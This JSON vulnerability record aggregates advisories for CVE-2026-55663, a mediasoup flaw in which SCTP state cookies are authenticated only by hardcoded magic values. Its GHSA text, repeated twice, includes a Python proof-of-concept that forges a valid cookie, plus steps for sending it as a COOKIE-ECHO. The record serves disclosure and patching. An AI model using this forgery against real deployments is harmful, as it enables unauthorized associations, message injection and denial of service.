{"id":"CVE-2026-55663","aliases":["EUVD-2026-65694","GHSA-p7x2-g5cq-fhmq"],"status":"published","title":"mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)","description":"mediasoup is a WebRTC video conferencing system. From version 3.20.0 until 3.20.6 for the npm package and from 0.22.0 until 0.22.5 for the Rust crate, mediasoup's built-in SCTP stack authenticates state cookies using only the hardcoded msworker and 0xAD81 magic values instead of a per-instance secret and HMAC, contrary to RFC 9260 Section 5.1.3. The cookie structure and validation in worker/include/RTC/SCTP/association/StateCookie.hpp and worker/src/RTC/SCTP/association/StateCookie.cpp allow an on-path attacker targeting PlainTransport or PipeTransport with SCTP enabled and without DTLS protection to forge a COOKIE-ECHO whose packet verification tag matches the attacker-controlled localVerificationTag. The forged cookie passes StateCookie::IsMediasoupStateCookie() and Association::HandleReceivedCookieEchoChunk(), establishes an unauthorized SCTP association, and permits DataChannel message injection as a trusted peer. WebRtcTransport is not affected because its SCTP runs inside DTLS. This issue is fixed in npm version 3.20.6 and Rust crate version 0.22.5.","severity":{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00188,"percentile":0.08434,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-345"],"published":"2026-08-25T18:15:16Z","modified":"2026-10-28T11:17:52Z","fixes":[{"ecosystem":"npm","package":"mediasoup","fixed_in":["3.20.6"],"sources":["ghsa","osv"]},{"ecosystem":"crates.io","package":"mediasoup","fixed_in":["0.22.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"mediasoup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.20.0"},{"last_affected":"3.20.5"},{"fixed":"3.20.6"}]}]},{"source":"ghsa","ecosystem":"crates.io","package":"mediasoup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.22.0"},{"last_affected":"0.22.4"},{"fixed":"0.22.5"}]}]},{"source":"osv","ecosystem":"npm","package":"mediasoup","ranges":[{"type":"SEMVER","events":[{"introduced":"3.20.0"},{"fixed":"3.20.6"}]}]},{"source":"osv","ecosystem":"crates.io","package":"mediasoup","ranges":[{"type":"SEMVER","events":[{"introduced":"0.22.0"},{"fixed":"0.22.5"}]}]}],"products":[{"vendor":"versatica","product":"mediasoup"}],"references":[{"url":"https://github.com/versatica/mediasoup/security/advisories/GHSA-p7x2-g5cq-fhmq","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/versatica/mediasoup/pull/1829","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/versatica/mediasoup/commit/9c1a90a8f9206b965e727d134846fb42df4980a7","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/versatica/mediasoup/releases/tag/3.20.6","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-p7x2-g5cq-fhmq"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55663.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55663","tags":["advisory"]},{"url":"https://github.com/versatica/mediasoup","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55663","title":"mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)","description":"mediasoup is a WebRTC video conferencing system. From version 3.20.0 until 3.20.6 for the npm package and from 0.22.0 until 0.22.5 for the Rust crate, mediasoup's built-in SCTP stack authenticates state cookies using only the hardcoded msworker and 0xAD81 magic values instead of a per-instance secret and HMAC, contrary to RFC 9260 Section 5.1.3. The cookie structure and validation in worker/include/RTC/SCTP/association/StateCookie.hpp and worker/src/RTC/SCTP/association/StateCookie.cpp allow an on-path attacker targeting PlainTransport or PipeTransport with SCTP enabled and without DTLS protection to forge a COOKIE-ECHO whose packet verification tag matches the attacker-controlled localVerificationTag. The forged cookie passes StateCookie::IsMediasoupStateCookie() and Association::HandleReceivedCookieEchoChunk(), establishes an unauthorized SCTP association, and permits DataChannel message injection as a trusted peer. WebRtcTransport is not affected because its SCTP runs inside DTLS. This issue is fixed in npm version 3.20.6 and Rust crate version 0.22.5.","status":"published","published":"2026-08-25T18:15:16.059Z","modified":"2026-08-25T18:55:59.044Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-65694","description":"mediasoup is a WebRTC video conferencing system. From version 3.20.0 until 3.20.6 for the npm package and from 0.22.0 until 0.22.5 for the Rust crate, mediasoup's built-in SCTP stack authenticates state cookies using only the hardcoded msworker and 0xAD81 magic values instead of a per-instance secret and HMAC, contrary to RFC 9260 Section 5.1.3. The cookie structure and validation in worker/include/RTC/SCTP/association/StateCookie.hpp and worker/src/RTC/SCTP/association/StateCookie.cpp allow an on-path attacker targeting PlainTransport or PipeTransport with SCTP enabled and without DTLS protection to forge a COOKIE-ECHO whose packet verification tag matches the attacker-controlled localVerificationTag. The forged cookie passes StateCookie::IsMediasoupStateCookie() and Association::HandleReceivedCookieEchoChunk(), establishes an unauthorized SCTP association, and permits DataChannel message injection as a trusted peer. WebRtcTransport is not affected because its SCTP runs inside DTLS. This issue is fixed in npm version 3.20.6 and Rust crate version 0.22.5.","status":"published","published":"2026-08-25T18:15:16Z","modified":"2026-08-25T18:55:59Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T18:01:32.174502Z"}],"ghsa":[{"id":"GHSA-p7x2-g5cq-fhmq","title":"mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)","description":"### Summary\n\nmediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.\n\n### Details\n\nRFC 9260 Section 5.1.3 states: \"An endpoint MUST use a one-time-use secret key to protect the State Cookie.\" The mediasoup implementation ignores this requirement. The state cookie is defined in `worker/include/RTC/SCTP/association/StateCookie.hpp` with the following structure (44 bytes total):\n\n- Offset 0: Magic1 = `\"msworker\"` (hardcoded, 8 bytes)\n- Offset 8: localVerificationTag (4 bytes, attacker-controlled)\n- Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)\n- Offset 16-27: TSN and window fields (attacker-controlled)\n- Offset 28: tieTag (8 bytes, attacker-controlled)\n- Offset 36: NegotiatedCapabilitiesField containing Magic2 = `0xAD81` (hardcoded)\n\nThe validation function `StateCookie::IsMediasoupStateCookie()` in `worker/src/RTC/SCTP/association/StateCookie.cpp` only checks:\n1. `bufferLength == 44`\n2. `bytes[0:8] == \"msworker\"` (Magic1, always the same)\n3. `ntohs(bytes[38:40]) == 0xAD81` (Magic2, always the same)\n\nNo HMAC, no per-session secret, no nonce. All \"magic\" values are published constants in the public header.\n\nWhen a COOKIE-ECHO is received in `Association::HandleReceivedCookieEchoChunk()` (without an existing TCB), the sole security check is:\n\n```cpp\nif (receivedPacket-\u003eGetVerificationTag() != cookie-\u003eGetLocalVerificationTag())\n```\n\nBecause the attacker controls both the SCTP packet header's verification tag field AND the `localVerificationTag` field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.\n\nAdditionally, `Association::ValidateReceivedPacket()` explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function `Packet::ValidateCRC32cChecksum()` exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.\n\nThis vulnerability affects `PlainTransport` with SCTP enabled when used without SRTP (SRTP is optional via `srtpCryptoSuite` parameter). `WebRtcTransport` is NOT affected because its SCTP runs inside a DTLS session. `comedia` mode (default: false) increases exposure by accepting packets from any source IP.\n\n### PoC\n\nPrerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (`srtpCryptoSuite` not set). The server's UDP IP:port must be reachable.\n\nThe following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-concept: mediasoup SCTP state cookie forgery\nDemonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.\nRequires: struct (stdlib only)\n\nUsage: python3 poc_cookie_forge.py\n\"\"\"\nimport struct\n\n# Attacker-chosen values -- all arbitrary\nLOCAL_VT  = 0xDEADBEEF  # Will be put in SCTP packet's Verification Tag field\nREMOTE_VT = 0xCAFEBABE\nLOCAL_TSN = 1000\nREMOTE_TSN = 2000\nRWND = 65535\nTIE_TAG = 0\n\n# Build a 44-byte state cookie matching mediasoup's StateCookie layout\ncookie = bytearray(44)\n\n# Offset 0: Magic1 = \"msworker\" (0x6D73776F726B6572)\ncookie[0:8] = b'msworker'\n\n# Offset 8: localVerificationTag (big-endian)\nstruct.pack_into('\u003eI', cookie, 8, LOCAL_VT)\n\n# Offset 12: remoteVerificationTag\nstruct.pack_into('\u003eI', cookie, 12, REMOTE_VT)\n\n# Offset 16: localInitialTsn\nstruct.pack_into('\u003eI', cookie, 16, LOCAL_TSN)\n\n# Offset 20: remoteInitialTsn\nstruct.pack_into('\u003eI', cookie, 20, REMOTE_TSN)\n\n# Offset 24: remoteAdvertisedReceiverWindowCredit\nstruct.pack_into('\u003eI', cookie, 24, RWND)\n\n# Offset 28: tieTag (8 bytes)\nstruct.pack_into('\u003eQ', cookie, 28, TIE_TAG)\n\n# Offset 36: NegotiatedCapabilitiesField\n# [36]: reserved = 0\n# [37]: bits (ABCD flags) = 0\n# [38:40]: Magic2 = 0xAD81 (network byte order)\n# [40:42]: max outbound streams\n# [42:44]: max inbound streams\ncookie[36] = 0       # reserved\ncookie[37] = 0       # bits\nstruct.pack_into('\u003eH', cookie, 38, 0xAD81)   # Magic2\nstruct.pack_into('\u003eH', cookie, 40, 1024)      # maxOutboundStreams\nstruct.pack_into('\u003eH', cookie, 42, 1024)      # maxInboundStreams\n\n# Reproduce StateCookie::IsMediasoupStateCookie() logic:\ndef is_mediasoup_state_cookie(buf):\n    if len(buf) != 44:\n        return False\n    if buf[0:8] != b'msworker':\n        return False\n    magic2 = struct.unpack('\u003eH', buf[38:40])[0]\n    if magic2 != 0xAD81:\n        return False\n    return True\n\nassert is_mediasoup_state_cookie(cookie), \"Cookie rejected - BUG in PoC\"\n\n# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):\n# receivedPacket-\u003eGetVerificationTag() == cookie-\u003eGetLocalVerificationTag()\npacket_vt    = LOCAL_VT\ncookie_local_vt = struct.unpack('\u003eI', cookie[8:12])[0]\nauth_passes = (packet_vt == cookie_local_vt)\n\nprint(\"=== mediasoup SCTP State Cookie Forgery PoC ===\")\nprint(f\"Forged cookie (hex): {cookie.hex()}\")\nprint(f\"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}\")\nprint(f\"localVerificationTag in cookie: {cookie_local_vt:#010x}\")\nprint(f\"SCTP packet verificationTag:    {packet_vt:#010x}\")\nprint(f\"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}\")\nprint()\nprint(\"Result: COOKIE-ECHO accepted -\u003e SCTP association ESTABLISHED without 4-way handshake\")\nprint(\"Next step: attacker sends DATA chunks to inject DataChannel messages\")\n```\n\nObserved output when run:\n\n```\n=== mediasoup SCTP State Cookie Forgery PoC ===\nForged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400\nIsMediasoupStateCookie(): True\nlocalVerificationTag in cookie: 0xdeadbeef\nSCTP packet verificationTag:    0xdeadbeef\nHandleReceivedCookieEchoChunk auth check passes: True\n\nResult: COOKIE-ECHO accepted -\u003e SCTP association ESTABLISHED without 4-way handshake\nNext step: attacker sends DATA chunks to inject DataChannel messages\n```\n\nTo forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to `LOCAL_VT`, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if `comedia=true`).\n\n### Impact\n\nAny mediasoup deployment using `PlainTransport` with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when `comedia` mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.","status":"published","published":"2026-08-25T18:17:21Z","modified":"2026-08-25T18:17:23Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T14:41:05.994358Z"}],"nvd":[{"id":"CVE-2026-55663","description":"mediasoup is a WebRTC video conferencing system. From version 3.20.0 until 3.20.6 for the npm package and from 0.22.0 until 0.22.5 for the Rust crate, mediasoup's built-in SCTP stack authenticates state cookies using only the hardcoded msworker and 0xAD81 magic values instead of a per-instance secret and HMAC, contrary to RFC 9260 Section 5.1.3. The cookie structure and validation in worker/include/RTC/SCTP/association/StateCookie.hpp and worker/src/RTC/SCTP/association/StateCookie.cpp allow an on-path attacker targeting PlainTransport or PipeTransport with SCTP enabled and without DTLS protection to forge a COOKIE-ECHO whose packet verification tag matches the attacker-controlled localVerificationTag. The forged cookie passes StateCookie::IsMediasoupStateCookie() and Association::HandleReceivedCookieEchoChunk(), establishes an unauthorized SCTP association, and permits DataChannel message injection as a trusted peer. WebRtcTransport is not affected because its SCTP runs inside DTLS. This issue is fixed in npm version 3.20.6 and Rust crate version 0.22.5.","status":"published","published":"2026-08-25T19:16:51.06Z","modified":"2026-09-09T21:07:31.353Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T14:12:41.347728Z"}],"osv":[{"id":"CVE-2026-55663","title":"mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)","description":"mediasoup is a WebRTC video conferencing system. From version 3.20.0 until 3.20.6 for the npm package and from 0.22.0 until 0.22.5 for the Rust crate, mediasoup's built-in SCTP stack authenticates state cookies using only the hardcoded msworker and 0xAD81 magic values instead of a per-instance secret and HMAC, contrary to RFC 9260 Section 5.1.3. The cookie structure and validation in worker/include/RTC/SCTP/association/StateCookie.hpp and worker/src/RTC/SCTP/association/StateCookie.cpp allow an on-path attacker targeting PlainTransport or PipeTransport with SCTP enabled and without DTLS protection to forge a COOKIE-ECHO whose packet verification tag matches the attacker-controlled localVerificationTag. The forged cookie passes StateCookie::IsMediasoupStateCookie() and Association::HandleReceivedCookieEchoChunk(), establishes an unauthorized SCTP association, and permits DataChannel message injection as a trusted peer. WebRtcTransport is not affected because its SCTP runs inside DTLS. This issue is fixed in npm version 3.20.6 and Rust crate version 0.22.5.","status":"published","published":"2026-08-25T18:15:16.059Z","modified":"2026-10-28T11:17:52.878019866Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-p7x2-g5cq-fhmq","title":"mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)","description":"### Summary\n\nmediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.\n\n### Details\n\nRFC 9260 Section 5.1.3 states: \"An endpoint MUST use a one-time-use secret key to protect the State Cookie.\" The mediasoup implementation ignores this requirement. The state cookie is defined in `worker/include/RTC/SCTP/association/StateCookie.hpp` with the following structure (44 bytes total):\n\n- Offset 0: Magic1 = `\"msworker\"` (hardcoded, 8 bytes)\n- Offset 8: localVerificationTag (4 bytes, attacker-controlled)\n- Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)\n- Offset 16-27: TSN and window fields (attacker-controlled)\n- Offset 28: tieTag (8 bytes, attacker-controlled)\n- Offset 36: NegotiatedCapabilitiesField containing Magic2 = `0xAD81` (hardcoded)\n\nThe validation function `StateCookie::IsMediasoupStateCookie()` in `worker/src/RTC/SCTP/association/StateCookie.cpp` only checks:\n1. `bufferLength == 44`\n2. `bytes[0:8] == \"msworker\"` (Magic1, always the same)\n3. `ntohs(bytes[38:40]) == 0xAD81` (Magic2, always the same)\n\nNo HMAC, no per-session secret, no nonce. All \"magic\" values are published constants in the public header.\n\nWhen a COOKIE-ECHO is received in `Association::HandleReceivedCookieEchoChunk()` (without an existing TCB), the sole security check is:\n\n```cpp\nif (receivedPacket-\u003eGetVerificationTag() != cookie-\u003eGetLocalVerificationTag())\n```\n\nBecause the attacker controls both the SCTP packet header's verification tag field AND the `localVerificationTag` field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.\n\nAdditionally, `Association::ValidateReceivedPacket()` explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function `Packet::ValidateCRC32cChecksum()` exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.\n\nThis vulnerability affects `PlainTransport` with SCTP enabled when used without SRTP (SRTP is optional via `srtpCryptoSuite` parameter). `WebRtcTransport` is NOT affected because its SCTP runs inside a DTLS session. `comedia` mode (default: false) increases exposure by accepting packets from any source IP.\n\n### PoC\n\nPrerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (`srtpCryptoSuite` not set). The server's UDP IP:port must be reachable.\n\nThe following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-concept: mediasoup SCTP state cookie forgery\nDemonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.\nRequires: struct (stdlib only)\n\nUsage: python3 poc_cookie_forge.py\n\"\"\"\nimport struct\n\n# Attacker-chosen values -- all arbitrary\nLOCAL_VT  = 0xDEADBEEF  # Will be put in SCTP packet's Verification Tag field\nREMOTE_VT = 0xCAFEBABE\nLOCAL_TSN = 1000\nREMOTE_TSN = 2000\nRWND = 65535\nTIE_TAG = 0\n\n# Build a 44-byte state cookie matching mediasoup's StateCookie layout\ncookie = bytearray(44)\n\n# Offset 0: Magic1 = \"msworker\" (0x6D73776F726B6572)\ncookie[0:8] = b'msworker'\n\n# Offset 8: localVerificationTag (big-endian)\nstruct.pack_into('\u003eI', cookie, 8, LOCAL_VT)\n\n# Offset 12: remoteVerificationTag\nstruct.pack_into('\u003eI', cookie, 12, REMOTE_VT)\n\n# Offset 16: localInitialTsn\nstruct.pack_into('\u003eI', cookie, 16, LOCAL_TSN)\n\n# Offset 20: remoteInitialTsn\nstruct.pack_into('\u003eI', cookie, 20, REMOTE_TSN)\n\n# Offset 24: remoteAdvertisedReceiverWindowCredit\nstruct.pack_into('\u003eI', cookie, 24, RWND)\n\n# Offset 28: tieTag (8 bytes)\nstruct.pack_into('\u003eQ', cookie, 28, TIE_TAG)\n\n# Offset 36: NegotiatedCapabilitiesField\n# [36]: reserved = 0\n# [37]: bits (ABCD flags) = 0\n# [38:40]: Magic2 = 0xAD81 (network byte order)\n# [40:42]: max outbound streams\n# [42:44]: max inbound streams\ncookie[36] = 0       # reserved\ncookie[37] = 0       # bits\nstruct.pack_into('\u003eH', cookie, 38, 0xAD81)   # Magic2\nstruct.pack_into('\u003eH', cookie, 40, 1024)      # maxOutboundStreams\nstruct.pack_into('\u003eH', cookie, 42, 1024)      # maxInboundStreams\n\n# Reproduce StateCookie::IsMediasoupStateCookie() logic:\ndef is_mediasoup_state_cookie(buf):\n    if len(buf) != 44:\n        return False\n    if buf[0:8] != b'msworker':\n        return False\n    magic2 = struct.unpack('\u003eH', buf[38:40])[0]\n    if magic2 != 0xAD81:\n        return False\n    return True\n\nassert is_mediasoup_state_cookie(cookie), \"Cookie rejected - BUG in PoC\"\n\n# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):\n# receivedPacket-\u003eGetVerificationTag() == cookie-\u003eGetLocalVerificationTag()\npacket_vt    = LOCAL_VT\ncookie_local_vt = struct.unpack('\u003eI', cookie[8:12])[0]\nauth_passes = (packet_vt == cookie_local_vt)\n\nprint(\"=== mediasoup SCTP State Cookie Forgery PoC ===\")\nprint(f\"Forged cookie (hex): {cookie.hex()}\")\nprint(f\"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}\")\nprint(f\"localVerificationTag in cookie: {cookie_local_vt:#010x}\")\nprint(f\"SCTP packet verificationTag:    {packet_vt:#010x}\")\nprint(f\"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}\")\nprint()\nprint(\"Result: COOKIE-ECHO accepted -\u003e SCTP association ESTABLISHED without 4-way handshake\")\nprint(\"Next step: attacker sends DATA chunks to inject DataChannel messages\")\n```\n\nObserved output when run:\n\n```\n=== mediasoup SCTP State Cookie Forgery PoC ===\nForged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400\nIsMediasoupStateCookie(): True\nlocalVerificationTag in cookie: 0xdeadbeef\nSCTP packet verificationTag:    0xdeadbeef\nHandleReceivedCookieEchoChunk auth check passes: True\n\nResult: COOKIE-ECHO accepted -\u003e SCTP association ESTABLISHED without 4-way handshake\nNext step: attacker sends DATA chunks to inject DataChannel messages\n```\n\nTo forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to `LOCAL_VT`, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if `comedia=true`).\n\n### Impact\n\nAny mediasoup deployment using `PlainTransport` with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when `comedia` mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.","status":"published","published":"2026-08-25T18:17:21Z","modified":"2026-08-26T01:18:34.692749539Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T15:46:52.891208Z"}]}}
